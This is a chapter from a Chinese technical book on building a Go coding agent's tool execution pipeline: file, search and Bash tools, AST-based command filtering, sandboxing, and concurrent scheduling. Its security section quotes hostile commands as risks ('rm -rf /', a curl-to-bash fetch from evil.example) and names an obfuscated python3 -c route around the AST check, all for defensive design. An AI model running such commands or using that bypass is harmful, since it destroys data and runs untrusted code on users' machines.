Agent Loop

主题

第 7 章：工具执行管道 ​

:::

阅读建议：如果时间有限，聚焦工具接口范式和并发调度与兄弟熔断两个主题，即可把握工具管道的核心设计；各工具的具体实现代码适合动手编码时回读。

:::

在完成了循环流转和 LLM 驱动器的构建后，Agent 仍然只能是一个“聊天机器人”。要让它成为一个全自动的 AI 程序员，我们必须给它装上能操作物理世界的“手脚”：读写文件、执行 Bash 命令、搜索代码库。

大模型的推理速度是以秒计算的，如果我们串行执行工具（等待大模型发号施令 → 执行命令 → 回传结果 → 继续等待），IO 的延迟会极大拖慢整个系统。

在前文基于公开信息分析 Claude Code 时，我们讨论了“流式并发执行与兄弟任务取消”。下面使用 Go 的 errgroup 实现一个教学版本，展示其核心调度思路。

设计说明（流式 vs 批量）：前文描述的 Claude Code 原版实现是边流式解析边派发，SSE 流中每个 tool_use 的 JSON 在 content_block_stop 事件闭合后，立刻被 StreamingToolExecutor 丢入后台执行，此时模型可能仍在生成下一个工具的参数，磁盘 I/O 与 LLM 推理在时间上重叠。本书的 ExecuteBatch 则简化为整轮返回后批量调度：RunLoop 必须等到 LLM 一次完整响应（含全部 ToolCalls）到达后，才进入分拣-并发-串行三阶段。这样做的工程理由是：Go 侧没有 JavaScript 生成器 + SSE 增量 JSON 解析的天然组合，批量调度实现简单、结果顺序可预测、与 errgroup 的 Wait 语义天然契合；代价是丧失了“第一个工具参数闭合即开跑”的推理-执行重叠窗口，在 4 个工具调用的典型回合中，额外等待约等于“后续工具参数的流式生成时间”（通常数百毫秒到数秒）。性能上，流式方案的优势集中在 IO-bound 且工具数 ≥ 2 的场景；若工具本身耗时远大于 LLM 吐 token 的时间（如 go test ./...），两种方案的端到端延迟差异可忽略。本章优先交付并发分拣与兄弟熔断的核心语义，流式派发可作为进阶优化在 RunLoop 的流式消费层追加。

7.1 工具接口范式 ​

在 Go 中，我们不能像 Python 那样随意传递弱类型的字典；要统一管理几十个工具，需要先定义一个刚性的接口范式，这是类型安全与调度器分拣的共同前提。

一个合格的 Tool 必须覆盖四个维度的能力，其中最容易被忽略的是安全隔离，它不仅要能生成供大模型阅读的 JSON Schema （自我描述），还要明确声明自己是“只读”还是“破坏性”的、是否允许同一回合内并发执行。与此同时，参数校验能在执行前过滤大模型捏造的危险参数；而统一回流则保证无论成功还是报错，结果都能包装成标准格式回到大模型上下文中。

自我描述（Schema 生成）：Schema() 返回的参数结构体经 LLM 驱动器章节的反射逻辑自动转为 JSON Schema，再嵌入 ToolDefinition 供 LLM API 的 tools 字段消费。机制上，这是编译期类型 → 运行时契约的桥梁：Go struct tag 约束参数形状，LLM 在生成 tool_calls 时必须产出符合 Schema 的 JSON；若模型幻觉出 Schema 未声明的字段，json.Unmarshal 会静默丢弃（取决于 struct 定义），而未知必填字段会在业务层被捕获。

安全隔离（IsConcurrencySafe）：该布尔 flag 不是线程安全注解，而是调度器的互斥契约，ExecuteBatch 据此将工具分拣进 safeBatch（可并行）或 unsafeBatch（必须串行）。它映射的是副作用可组合性：只读、无共享可变状态的工具可并发；写文件、跑 Bash 等可能产生竞态或全局副作用的工具必须串行，且失败时触发兄弟熔断。这与操作系统层面的“线程安全”不同，即使 ReadFile 在 OS 层并发读同一 inode 是安全的，写-读交错仍可能让模型看到半写入的中间态，故写类工具一律标记为 false。

参数校验（分层验证）：第一层是 JSON 反序列化。模型给出的 arguments 经常“几乎合法”——被 markdown 围栏包住、尾逗号、把 True/None 写成 Python 字面量。ParseArgs 在 json.Unmarshal 失败时先走 RepairJSON，修好且再次 json.Valid 才采纳，否则把原始错误喂回模型，绝不用一次失败的重写污染下游。第二层是业务规则校验（如 EditFileTool 的 old_string 唯一性）。这与 JSON Schema 验证形成互补：Schema 告诉模型“应该传什么”，Go 代码告诉运行时“什么值可以执行”。

统一回流（ToolResult → Message）：无论 Execute 返回成功、IsError: true 的业务失败，还是 Go 层面的 error，最终都必须收敛为 role: “tool” 的消息（含 tool_call_id），保证 RunLoop 状态机不因单次工具失败而 panic。IsError 与 Go error 的分工是：前者表示可自愈的业务失败（文件不存在、命令 exit code ≠ 0），后者表示不可恢复的基础设施故障（极少使用，通常也包装进 ToolResult）。

go
type Tool interface {
    Name() string
    Description() string
    Schema() interface{} // 用于自动生成 JSON Schema 的参数结构体
    Execute(ctx context.Context, jsonArgs []byte) (ToolResult, error)
    IsConcurrencySafe() bool
}

ToolResult 复用领域层（domain.ToolResult）的统一定义，包含 ToolCallID、Output、IsError 和可选的 Metadata。

DDD 要点：ToolResult 只携带纯粹的执行结果数据，不负责转换为 Message，那是 RunLoop（应用层）的职责。工具层只管执行。

7.2 基础工具实现 ​

接口范式一旦落定，接下来要面对的是 Agent 真正依赖的“物理动作”，读写磁盘、搜索代码库、执行 shell 命令。这些工具看似基础，却是模型从“对话”走向“改造代码”的分水岭；实现时，并发安全与副作用隔离的取舍贯穿每一行。

7.2.1 文件读取机制 ​

大模型读取文件时，不应该一次性读完整个万行文件。我们提供按行范围读取的能力，并自动添加行号以帮助模型定位代码：

go
type FileReadParams struct {
    Path   string `json:"path" jsonschema:"description=文件路径"`
    Offset int    `json:"offset,omitempty" jsonschema:"description=起始行号(1-based)"`
    Limit  int    `json:"limit,omitempty" jsonschema:"description=最多读取行数"`
}

type ReadFileTool struct{ workDir string }

func NewReadFileTool(workDir string) *ReadFileTool { return &ReadFileTool{workDir: workDir} }
func (t *ReadFileTool) Name() string               { return "read_file" }
func (t *ReadFileTool) Description() string        { return "Read file contents with optional line range" }
func (t *ReadFileTool) Schema() any                { return FileReadParams{} }
func (t *ReadFileTool) IsConcurrencySafe() bool    { return true }

func (t *ReadFileTool) Execute(_ context.Context, rawArgs []byte) (ToolResult, error) {
    args, err := ParseArgs[FileReadParams](rawArgs)
    if err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    fullPath := filepath.Join(t.workDir, args.Path)
    data, err := os.ReadFile(fullPath)
    if err != nil {
        return ToolResult{Output: "File not found: " + err.Error(), IsError: true}, nil
    }

    // 记录快照，供 write_file / edit_file 做乐观锁校验
    recordSnapshot(fullPath, data)

    lines := strings.Split(string(data), "\n")
    totalLines := len(lines)

    start := max(0, args.Offset-1)
    end := totalLines
    if args.Limit > 0 {
        end = min(start+args.Limit, totalLines)
    }

    var buf strings.Builder
    for i := start; i < end; i++ {
        fmt.Fprintf(&buf, "%6d|%s\n", i+1, lines[i])
    }

    return ToolResult{
        Output:   buf.String(),
        Metadata: map[string]string{"total_lines": strconv.Itoa(totalLines)},
    }, nil
}

注意：Execute 方法中的错误（如文件不存在）不会返回 Go 的 error，而是包装为 IsError: true 的 ToolResult。这是 Agent 工具的核心设计原则，工具的业务失败不应中断状态机循环，而应作为反馈喂给大模型让其自愈。

7.2.2 全量写入与冲突保护 ​

在多智能体并发写入同一文件的场景中，“最后一个写者赢”会导致静默的数据丢失。本书采用乐观并发控制策略：read_file 时记录文件快照，写入前校验快照一致性，不一致则拒绝并要求重新读取。

首先定义快照基础设施：

go
type fileSnapshot struct {
    path    string
    modTime time.Time
    hash    string // SHA-256 前 8 字节的 hex 编码
}

var (
    snapshotMu    sync.Mutex
    snapshotCache = make(map[string]fileSnapshot)
)

func recordSnapshot(absPath string, data []byte) {
    info, err := os.Stat(absPath)
    if err != nil {
        return
    }
    h := sha256.Sum256(data)
    snapshotMu.Lock()
    snapshotCache[absPath] = fileSnapshot{
        path:    absPath,
        modTime: info.ModTime(),
        hash:    hex.EncodeToString(h[:8]),
    }
    snapshotMu.Unlock()
}

func checkConflict(absPath string) error {
    snapshotMu.Lock()
    snap, exists := snapshotCache[absPath]
    snapshotMu.Unlock()

    if !exists {
        return nil // 首次写入，无历史快照可比对
    }

    info, err := os.Stat(absPath)
    if err != nil {
        return nil
    }

    if info.ModTime().After(snap.modTime) {
        currentData, _ := os.ReadFile(absPath)
        h := sha256.Sum256(currentData)
        if hex.EncodeToString(h[:8]) != snap.hash {
            return fmt.Errorf("conflict: file modified since last read (mtime %v → %v)",
                snap.modTime.Format(time.RFC3339), info.ModTime().Format(time.RFC3339))
        }
    }
    return nil
}

read_file 执行时调用 recordSnapshot 记录基线；写入工具执行前调用 checkConflict 做前置校验：

go
type WriteFileTool struct {
    workDir string
}

func (t *WriteFileTool) Name() string            { return "write_file" }
func (t *WriteFileTool) IsConcurrencySafe() bool { return false }

func (t *WriteFileTool) Execute(ctx context.Context, rawArgs []byte) (ToolResult, error) {
    args, err := ParseArgs[WriteFileArgs](rawArgs)
    if err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    fullPath := filepath.Join(t.workDir, args.Path)

    // 乐观锁：写入前校验文件自上次 read 后是否被外部修改
    if err := checkConflict(fullPath); err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    if err := os.MkdirAll(filepath.Dir(fullPath), 0o755); err != nil {
        return ToolResult{Output: "Cannot create directory: " + err.Error(), IsError: true}, nil
    }

    if err := os.WriteFile(fullPath, []byte(args.Content), 0o644); err != nil {
        return ToolResult{Output: "Write failed: " + err.Error(), IsError: true}, nil
    }

    // 写入成功后刷新快照，避免后续操作误报冲突
    recordSnapshot(fullPath, []byte(args.Content))

    lineCount := strings.Count(args.Content, "\n") + 1
    return ToolResult{
        Output: fmt.Sprintf("Successfully wrote %d lines to %s", lineCount, args.Path),
    }, nil
}

设计决策说明：为何选择 mtime + hash 双重校验而不是仅用 mtime？某些文件系统（如 NFS、FUSE）的时间戳精度可能不足以区分快速连续的两次修改；反之仅用 hash 则需要每次写入前完整读取文件计算摘要，对大文件有性能开销。双重策略以 mtime 为快速路径（未变则跳过），hash 为最终仲裁（mtime 变了但内容可能相同，如 touch 操作），兼顾性能与正确性。

IsConcurrencySafe() 返回 false 确保调度器不会在同一回合内并发执行多个写操作。乐观锁保护的是跨回合或外部进程对文件的修改，两者互补，缺一不可。

7.2.3 局部编辑机制 ​

大模型极不擅长用 sed 编辑文件。Claude Code 的做法是提供专门的搜索-替换工具，让模型指定“要替换的旧文本”和“替换后的新文本”：

go
type FileEditParams struct {
    Path      string `json:"path" jsonschema:"description=文件路径"`
    OldString string `json:"old_string" jsonschema:"description=要被替换的原始文本"`
    NewString string `json:"new_string" jsonschema:"description=替换后的文本"`
}

type EditFileTool struct {
    workDir string
}

func (t *EditFileTool) Name() string            { return "edit_file" }
func (t *EditFileTool) IsConcurrencySafe() bool { return false }

func (t *EditFileTool) Execute(ctx context.Context, rawArgs []byte) (ToolResult, error) {
    args, err := ParseArgs[FileEditParams](rawArgs)
    if err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    fullPath := filepath.Join(t.workDir, args.Path)

    // 乐观锁：与 write_file 共享同一套 checkConflict 机制
    if err := checkConflict(fullPath); err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    data, err := os.ReadFile(fullPath)
    if err != nil {
        return ToolResult{Output: "File not found: " + err.Error(), IsError: true}, nil
    }

    content := string(data)

    // 唯一性校验：old_string 必须在文件中恰好出现 1 次
    count := strings.Count(content, args.OldString)
    if count == 0 {
        return ToolResult{
            Output:  "old_string not found in file. Ensure it matches exactly (including whitespace).",
            IsError: true,
        }, nil
    }
    if count > 1 {
        return ToolResult{
            Output:  fmt.Sprintf("old_string found %d times. Provide more surrounding context to make it unique.", count),
            IsError: true,
        }, nil
    }

    newContent := strings.Replace(content, args.OldString, args.NewString, 1)
    if err := os.WriteFile(fullPath, []byte(newContent), 0o644); err != nil {
        return ToolResult{Output: "Write failed: " + err.Error(), IsError: true}, nil
    }

    recordSnapshot(fullPath, []byte(newContent))
    return ToolResult{Output: fmt.Sprintf("Edit applied to %s", args.Path)}, nil
}

这个唯一性校验至关重要，如果大模型提供的 old_string 匹配到了多处，说明它给的上下文不够精确，我们主动拒绝并要求它补充更多上下文。这比盲目替换第一个匹配要安全得多。

7.2.4 代码搜索工具 ​

go
type GrepParams struct {
    Pattern string `json:"pattern" jsonschema:"description=正则表达式"`
    Path    string `json:"path,omitempty" jsonschema:"description=搜索路径，默认为当前目录"`
    Include string `json:"include,omitempty" jsonschema:"description=文件过滤,如*.go"`
}

type GrepTool struct{ workDir string }

func NewGrepTool(workDir string) *GrepTool { return &GrepTool{workDir: workDir} }
func (t *GrepTool) Name() string            { return "grep" }
func (t *GrepTool) IsConcurrencySafe() bool { return true }

func (t *GrepTool) Execute(ctx context.Context, jsonArgs []byte) (ToolResult, error) {
    var params GrepParams
    if err := json.Unmarshal(jsonArgs, &params); err != nil {
        return ToolResult{Output: "Invalid parameters: " + err.Error(), IsError: true}, nil
    }

    searchPath := params.Path
    if searchPath == "" {
        searchPath = "."
    }

    // 优先使用 ripgrep（rg）以获得极致速度
    args := []string{params.Pattern, searchPath, "--line-number", "--max-count=50"}
    if params.Include != "" {
        args = append(args, "--glob", params.Include)
    }

    cmd := exec.CommandContext(ctx, "rg", args...)
    out, err := cmd.CombinedOutput()
    if err != nil {
        if exitErr, ok := err.(*exec.ExitError); ok && exitErr.ExitCode() == 1 {
            return ToolResult{Output: "No matches found"}, nil
        }
        return ToolResult{Output: "Search error: " + string(out), IsError: true}, nil
    }

    output := string(out)
    lines := strings.Split(output, "\n")
    if len(lines) >= 50 {
        output += "\n[Results capped at 50 matches. Narrow your search pattern for more specific results.]"
    }

    return ToolResult{Output: output}, nil
}

代码搜索为何选 ripgrep？ Agent 的 grep 工具是高频、IO-bound 的，一次代码审查回合可能触发十几次搜索，等待时间直接叠加到用户体感延迟上。GNU grep 单线程递归目录，在万文件 monorepo 上往往成为瓶颈；ripgrep 默认并行遍历、自动 respect .gitignore（跳过 node_modules/ 等无效路径），对字面量前缀还有 SIMD 友好的过滤优化。在本地开发机已安装 rg 的前提下，它是更合理的首选；若部署环境仅有 GNU grep，应 fallback 到 grep -R 并记录降级告警，速度会慢一个数量级，但功能仍可交付。

GlobTool 的实现使用 github.com/bmatcuk/doublestar/v4 库，支持完整的 ** 递归语义（如 **/*.go 匹配所有子目录下的 Go 文件）。标准库的 filepath.Match 不支持跨目录递归，** 在标准库中仅被视为普通的 * 通配符，无法穿透目录层级。doublestar 通过 io/fs.FS 接口遍历文件系统，配合 WithFailOnIOErrors（IO 错误不静默跳过）和 WithNoFollow（不追踪符号链接，防止循环引用）两个安全选项，是工业级 Agent 工具的标准做法：

go
func (t *GlobTool) Execute(_ context.Context, rawArgs []byte) (ToolResult, error) {
    args, err := ParseArgs[GlobArgs](rawArgs)
    if err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    const maxResults = 1000

    root := t.workDir
    if args.Path != "" {
        root = filepath.Join(t.workDir, args.Path)
    }

    fsys := os.DirFS(root)
    matches, err := doublestar.Glob(fsys, args.Pattern,
        doublestar.WithFailOnIOErrors(),
        doublestar.WithNoFollow(),
    )
    if err != nil {
        return ToolResult{Output: fmt.Sprintf("Glob error: %v", err), IsError: true}, nil
    }

    if len(matches) == 0 {
        return ToolResult{Output: "No files matched pattern: " + args.Pattern}, nil
    }

    truncated := false
    if len(matches) > maxResults {
        matches = matches[:maxResults]
        truncated = true
    }

    output := strings.Join(matches, "\n")
    if truncated {
        output += fmt.Sprintf("\n... (truncated, showing first %d of many matches)", maxResults)
    }
    return ToolResult{
        Output:   output,
        Metadata: map[string]string{"count": strconv.Itoa(len(matches))},
    }, nil
}

结果上限（maxResults = 1000）是防御性设计，在数万文件的 monorepo 中，无限制返回会撑爆 LLM 的上下文窗口。超出时追加截断提示，引导模型缩小搜索范围。

7.3 安全防线与风险拦截 ​

给大模型执行终端命令的权限，等于把 shell 交给了一位可能产生幻觉的协作者，它可能为了找配置生成 cat /*/*.conf 把内存撑满，也可能在“清理临时文件”的名义下输出 rm -rf /，或在用户未察觉时构造 curl https://evil.example/install.sh | bash 拉取并执行远程脚本。因此 Agent 必须在沙箱中执行危险操作，将副作用限制在隔离边界内，这是产品安全的最后一道防线。

CLI 架构与云端架构的隔离取舍不同：云端 Agent（如 Web 端 AI IDE）通常使用 Docker 或 gVisor 等操作系统级（OS-level）沙箱，将 Agent 封死在隔离容器里；而运行在用户本地的 CLI Agent（如 Cursor、Claude Code）若强制引入 Docker，Agent 将无法使用本地已配置的 Go、Node.js 环境，也无法访问本地秘钥和系统配置。因此 CLI Agent 须采用应用层轻量沙箱：当前 BashTool 的三道防线——AST 静态白名单 + context.WithTimeout 资源限额 + 滚动输出缓冲——在命令交给 bash -c 之前于语法树层面过滤高危指令，运行期间限制墙钟时间与输出体积。该方案零外部依赖、跨平台，是本地 Agent 的优选防线；部署到公有云集群时再外挂 Docker / Firejail 等 OS 级隔离。AST 负责“意图防线”，OS 负责“物理防线”，两层应根据部署形态灵活组合。

我们在 Go 中实现 BashTool 时，需要引入三道防线。

从 ToolCalls 的 JSON 解析到最终的 ToolResult 回流，工具调用经历完整的六步链路：注册查找、类型分类、AST 安全检查、资源限制、HITL 审批、并发执行与输出截断，如图 7-1 所示。

图7-1　工具调用全链路

7.3.1 静态分析与拒绝策略 ​

在将命令交给系统之前，我们先用 mvdan.cc/sh/v3/syntax 把 Bash 文本解析为 AST。核心策略是 Fail-Closed （默认拒绝）：解析失败、命令数超出预期或出现动态求值节点时，预检直接返回错误。

Fail-Open 只在文本命中黑名单时拒绝，而 Bash 的管道、替换、展开与重定向可以改变命令的真实语义。Fail-Closed 则先限定可接受的语法边界：只允许一条命令，命令名必须是字面量；BinaryCmd、Redirect、CmdSubst、ProcSubst、Subshell、ParamExp 与算术求值节点均被拒绝。系统随后检查 CallExpr 中的命令字面量，拦截 rm、dd、mkfs、shutdown、sudo 等高风险入口。

go
import "mvdan.cc/sh/v3/syntax"

func ValidateBashAST(command string) error {
    file, err := syntax.NewParser(
        syntax.Variant(syntax.LangBash),
    ).Parse(strings.NewReader(command), "agent-command")
    if err != nil {
        return fmt.Errorf("cannot parse command safely: %w", err)
    }
    if len(file.Stmts) != 1 {
        return errors.New("multiple shell statements are not allowed")
    }

    var validationErr error
    syntax.Walk(file, func(node syntax.Node) bool {
        switch n := node.(type) {
        case *syntax.BinaryCmd, *syntax.Redirect, *syntax.CmdSubst,
             *syntax.ProcSubst, *syntax.Subshell, *syntax.ParamExp,
             *syntax.ArithmCmd, *syntax.ArithmExp:
            validationErr = fmt.Errorf("dynamic shell syntax %T is not allowed", n)
        case *syntax.CallExpr:
            validationErr = validateLiteralCall(n)
        }
        return validationErr == nil
    })
    return validationErr
}

如果大模型生成了管道链（|）、命令列表（&&/||/;）、嵌套管道或反引号注入，只要超出了我们预设的白名单，直接拒绝并将错误信息返回给大模型。

mvdan.cc/sh/v3/syntax 是纯 Go 的 Shell 解析器，可以区分字面命令、管道、重定向、子 Shell 与参数展开。本书的策略有意牺牲部分 Shell 便利性：例如 go test ./... | tee result.log 也会因管道和重定向被拒绝。如果业务确实需要这些能力，更稳妥的做法是提供结构化工具，而不是放宽自由 Shell 的语法边界。

7.3.2 资源控制限制 ​

go
type BashTool struct {
    workDir string
}

func (t *BashTool) Execute(ctx context.Context, jsonArgs []byte) (ToolResult, error) {
    params, err := ParseArgs[struct {
        Command string `json:"command"`
        Timeout int    `json:"timeout,omitempty"`
    }](jsonArgs)
    if err != nil {
        return ToolResult{Output: "Invalid parameters", IsError: true}, nil
    }

    // 第一道防线：AST 校验
    if err := ValidateBashAST(params.Command); err != nil {
        return ToolResult{Output: err.Error(), IsError: true}, nil
    }

    // 超时保护
    timeout := 3 * time.Minute
    if params.Timeout > 0 {
        timeout = time.Duration(params.Timeout) * time.Second
    }
    execCtx, cancel := context.WithTimeout(ctx, timeout)
    defer cancel()

    cmd := exec.CommandContext(execCtx, "bash", "-c", params.Command)

    // 第三道防线：使用 RollingOutputBuffer 控制输出体积
    // RollingOutputBuffer 的完整实现见第 8 章 §8.2，此处先展示调用方式
    buf := NewRollingOutputBuffer(2000)
    cmd.Stdout = buf
    cmd.Stderr = buf

    err := cmd.Run()

    output := buf.String()
    if buf.Dropped() > 0 {
        output += fmt.Sprintf("\n\n[...truncated %d lines, full output saved to disk...]", buf.Dropped())
    }

    if execCtx.Err() == context.DeadlineExceeded {
        return ToolResult{Output: output + "\n\nCommand timed out and was killed.", IsError: true}, nil
    }

    if err != nil {
        return ToolResult{Output: output, IsError: true}, nil
    }

    return ToolResult{Output: output}, nil
}

资源限制边界： 当前代码仅实现 context.WithTimeout 墙钟超时，exec.CommandContext 在 deadline 到达时向子进程发送 SIGKILL，防止 cat /dev/zero 类无限输出占满 CPU。OS 层面还应包括 CPU / 内存 / 进程数 / 文件描述符配额。生产环境建议 Setpgid: true 以便超时 kill 整个进程组。RollingOutputBuffer 解决的是输出带宽而不是 compute 资源，二者互补。

HITL 不进 Execute：本章的 Bash 工具只做 AST、超时和输出截断。风险分级与人工审批发生在 RunLoop 阶段六、ExecuteBatch 之前——Decide 无阻塞判定，需要人审则整批置为 StatusPaused，由第九章的 Continue 续跑。把 RequestApproval 写进工具，看起来解耦，实则无法把待批调用写入 checkpoint，IM 网关也无法跨请求恢复。

7.3.3 系统级沙箱隔离 ​

对于受信任的本地 CLI Agent，应用层防线通常足够，但“足够”是有边界的。模型完全可能写一段混淆过的 Python 脚本，通过 python3 -c “import os; …” 绕过 Bash 的 AST 检查。在多租户的云端 Agent 平台（例如线上版的 SWE-agent 或 Devin），执行器绝不能运行在宿主机的原生环境中，工业界的真正防线是操作系统级（OS-Level）沙箱隔离。这类系统通常会抛弃简单的 exec.Command，转而通过 API 远程调度隔离环境。其底层技术往往依赖于 Firecracker （微虚拟机）、gVisor 或 Docker-in-Docker 等强隔离技术。每次任务都会启动一个全新的、毫无状态的阅后即焚（Ephemeral）容器，即使大模型在里面执行了 rm -rf / 或植入了木马，当任务结束、容器销毁的那一刻，一切副作用也会随之烟消云散。

7.4 工具注册中心与依赖注入 ​

工具注册表（Tool Registry） 统一管理所有可用工具实例及其 Schema，Agent 通过名称查找并按需调用，注册的工具集合直接决定了产品的能力边界。

ToolRegistry 作为适配器，实现了 domain.ToolExecutor 端口接口，内部管理所有工具实例：

go
type ToolRegistry struct {
    tools map[string]Tool
}

func NewRegistry() *ToolRegistry {
    return &ToolRegistry{tools: make(map[string]Tool)}
}

func (r *ToolRegistry) Register(t Tool) {
    r.tools[t.Name()] = t
}

func (r *ToolRegistry) GetDefinitions() []domain.ToolDefinition {
    defs := make([]domain.ToolDefinition, 0, len(r.tools))
    for _, t := range r.tools {
        defs = append(defs, domain.ToolDefinition{
            Name:        t.Name(),
            Description: t.Description(),
            Parameters:  GenerateSchema(t.Schema()), // LLM 驱动器章节的反射生成
        })
    }
    return defs
}

在 main.go 中，所有工具通过组装注册：

go
registry := tools.NewRegistry()
registry.Register(tools.NewReadFileTool(workDir))
registry.Register(tools.NewWriteFileTool(workDir))
registry.Register(tools.NewEditFileTool(workDir))
registry.Register(tools.NewGrepTool(workDir))
registry.Register(tools.NewGlobTool(workDir))
registry.Register(tools.NewBashTool(workDir))

7.5 并行加速器与任务熔断 ​

这是整个工具箱最核心的工程设计，也是与 Claude Code 原版差异最大的部分。与章首设计说明所述，本书采用整轮批量调度而不是流式派发，分拣逻辑集中、结果顺序可预测。并行工具调用让 Agent 在同一回合内并发执行多个互不干扰的读操作，而非串行排队：3 个各 200ms 的读操作串行需 600ms，并行后接近 200ms；纯读/搜索类 safeBatch 的经验加速比约 3–5 倍。但若混入一个 30s 的不可并行任务，加速比会大幅下降（Amdahl 定律）。

假设大模型在一个回合中返回了 4 个工具调用：

  1. read_file(“src/api.go”) ， 并发安全
  2. read_file(“src/db.go”) ， 并发安全
  3. bash(“go test ./...”) ， 互斥
  4. read_file(“src/utils.go”) ， 并发安全

如果串行执行，等待时间是 4 个任务之和。下面从并发安全标记、errgroup 调度机制、兄弟熔断三个层面，拆解这套批量调度器的设计。

7.5.1 并发安全标记与分拣规则 ​

调度器在执行前，首先需要判定哪些工具可以并行、哪些必须串行——这由每个工具自身声明的 IsConcurrencySafe 标记决定。

IsConcurrencySafe 判定原理： 该 flag 回答的不是“这个 Go 方法有没有 data race”，而是同一 Agent 回合内，多个 goroutine 同时调用此工具是否语义安全。read_file 标记 true 的依据：每次 Execute 打开独立 fd 读取快照，不修改 inode，并发读同一文件在 OS 层合法（普通 read 系统调用无写锁）。write_file / bash 标记 false 的依据：写-读竞态，若 goroutine A 正在 WriteFile，B 同时 ReadFile 可能读到截断的中间态；Bash 更涉及进程级副作用（环境变量、工作目录、全局 git 状态）。扩展规则：数据库工具应看连接/事务隔离级别（只读 SELECT → true，INSERT/DDL → false）；HTTP GET 幂等读 → true，POST/DELETE → false；带 session 状态的工具一律 false。调度器只信 flag，不做动态分析，误判的代价是数据损坏，宁可保守串行。

7.5.2 errgroup 并发调度实现 ​

分拣规则确定后，下一步是将分拣结果交给 Go 的并发原语来调度执行。

errgroup.WithContext 机制： golang.org/x/sync/errgroup 在 sync.WaitGroup 之上叠加 首个 error 触发 context cancel 的语义。eg, gCtx := errgroup.WithContext(ctx) 派生的 gCtx 是父 ctx 的子 context；任一 eg.Go 闭包返回 non-nil error 时，errgroup 内部调用 cancel function，gCtx.Done() 立即关闭，其他仍在运行的 goroutine 应在 Execute 内通过 ctx 参数感知并提前退出（如 exec.CommandContext 杀子进程）。与裸 WaitGroup 的区别：WaitGroup 只等待、不传播 error、不自动 cancel，某个工具失败后，兄弟 goroutine 可能继续跑完无意义的 IO。本书在 safeBatch 中对 Go error 触发 cancel，但对 ToolResult.IsError（业务失败）不触发 errgroup error，因为读文件“不存在”不应取消并行的其他读操作。

go
func (r *ToolRegistry) ExecuteBatch(ctx context.Context, toolCalls []domain.ToolCall) []ToolResult {
    results := make([]ToolResult, len(toolCalls))
    eg, gCtx := errgroup.WithContext(ctx)

    safeBatch := make([]int, 0) // 并发安全的工具索引
    unsafeBatch := make([]int, 0) // 互斥工具索引

    // 第一步：分拣
    for i, call := range toolCalls {
        tool := r.tools[call.Name]
        if tool == nil {
            results[i] = ToolResult{
                ToolCallID: call.ID,
                Output:     fmt.Sprintf("Unknown tool: %s", call.Name),
                IsError:    true,
            }
            continue
        }
        if tool.IsConcurrencySafe() {
            safeBatch = append(safeBatch, i)
        } else {
            unsafeBatch = append(unsafeBatch, i)
        }
    }

    // 第二步：并发执行所有安全工具
    for _, idx := range safeBatch {
        idx := idx
        call := toolCalls[idx]
        tool := r.tools[call.Name]
        eg.Go(func() error {
            res, err := tool.Execute(gCtx, call.Arguments)
            res.ToolCallID = call.ID
            results[idx] = res
            if err != nil {
                return err // errgroup 自动取消 gCtx
            }
            return nil
        })
    }

    // 等待所有并发任务完成
    _ = eg.Wait()

    // 第三步：串行执行互斥工具
    for pos, idx := range unsafeBatch {
        if gCtx.Err() != nil {
            results[idx] = ToolResult{
                ToolCallID: toolCalls[idx].ID,
                Output:     "Skipped: previous tool failed",
                IsError:    true,
            }
            continue
        }

        call := toolCalls[idx]
        tool := r.tools[call.Name]
        res, err := tool.Execute(gCtx, call.Arguments)
        res.ToolCallID = call.ID
        results[idx] = res

        // 兄弟熔断（Sibling Cancellation）
        if err != nil || res.IsError {
            // Bash 失败意味着后续的代码修改或编译失去意义
            // 跳过剩余的互斥工具
            for _, remaining := range unsafeBatch[pos+1:] {
                results[remaining] = ToolResult{
                    ToolCallID: toolCalls[remaining].ID,
                    Output:     "Skipped due to sibling tool failure",
                    IsError:    true,
                }
            }
            break
        }
    }

    return results
}

7.5.3 兄弟熔断与级联取消 ​

当分拣与并发调度完成后，最后一个关键问题是：某个工具执行失败时，如何处理同批次中尚未执行的兄弟工具？

兄弟任务熔断语义： 当 unsafeBatch 中某个互斥工具（如 bash(“go test”)）返回 IsError: true 时，后续所有互斥工具被标记为 “Skipped due to sibling tool failure” 而不再执行，这是应用层的止损策略，避免在测试已红的情况下仍执行无意义的 write_file。关键问题：已完成的 safeBatch 结果是否仍喂给 LLM？ 答案是是，results 数组中 safeBatch 索引处已写入的真实输出不会被清除，RunLoop 将全部 ToolResult 格式化为 role: “tool” 消息追加到上下文。Claude Code 流式派发下的 cancel 语义见章首设计说明；本书批量方案在 eg.Wait() 后才进入 unsafeBatch，safeBatch 此时已全部完成。若 future 版本在 safe 工具中也传播 IsError 触发 cancel，需明确是否保留部分结果（建议与 Claude Code 一致：已完成不丢弃）。

上述调度机制的核心设计可以概括为四条脉络：并发调度压缩了等待延迟，让多个独立的读文件请求并行执行，等待时间从 t1+t2+t3 缩短为 max(t1,t2,t3)，大量文件查阅场景下收益明显。与此同时，分拣-并发-串行三阶段先把安全工具全部跑完，再串行执行危险工具，安全工具不必等待前面的互斥工具；然而一旦核心 Bash 命令（如 go test）失败，级联取消会立刻熔断后续写操作，避免在测试已红时仍浪费上下文额度。未知工具名则转化为友好错误提示，不 panic。

7.6 工具结果格式化反馈 ​

工具执行完毕后，结果需要格式化为大模型能理解的文本。在 RunLoop 中，我们可以在追加消息时添加额外的上下文信息：

go
func formatToolResult(tr ToolResult, call domain.ToolCall) domain.Message {
    output := tr.Output

    // 为失败的工具添加引导提示
    if tr.IsError {
        output += "\n\n[HINT: The tool returned an error. Analyze the error message " +
            "and try a different approach.]"
    }

    // 附加元数据（如执行耗时）
    if elapsed, ok := tr.Metadata["elapsed_ms"]; ok {
        output += fmt.Sprintf("\n[Execution time: %sms]", elapsed)
    }

    return domain.Message{
        Role:       "tool",
        Content:    output,
        ToolCallID: tr.ToolCallID,
        IsError:    tr.IsError,
    }
}

